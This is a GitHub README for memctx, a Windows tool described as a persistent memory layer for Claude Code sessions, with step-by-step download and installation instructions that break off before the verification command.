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allans4635/memctx

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Manage persistent session memory and context handoff for Claude Code to maintain continuity between tasks.

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🧠 memctx - Keep your AI session context accessible

📋 What is memctx?

Memctx serves as a persistent memory layer for your AI coding sessions. When you work with AI assistants like Claude, you often face limits on how much information the AI remembers at one time. This software stores your project history, key decisions, and active goals in a searchable format. It feeds this information back into your AI sessions automatically. You stop repeating yourself and spend more time building.

⚙️ How it works

The software tracks your workspace activity. It creates summaries of your past interactions. When you start a new coding task, memctx retrieves the relevant bits of history and injects them into your current session. This maintains continuity across long projects.

🚀 Getting Started

Follow these steps to set up memctx on your Windows computer.

Step 1: Check system requirements

Ensure your computer meets these basic needs:

  • Windows 10 or Windows 11.
  • An active internet connection.
  • A current installation of Claude Code.

Step 2: Download the installer

Visit the official release page to get the latest version of the software.

Click here to open the download page

Look for the file ending in .exe under the Assets section of the latest release. Save this file to your computer.

Step 3: Run the installation

Open the folder where you saved the file. Double-click the file to start the installation. Follow the prompts on your screen. Windows may ask for permission to run the installer. Select Yes to continue. The installer places the necessary files in your program folder and prepares the system for use.

Step 4: Verify your setup

Open your command prompt or terminal after the installation finishes. Type the following command and press Enter: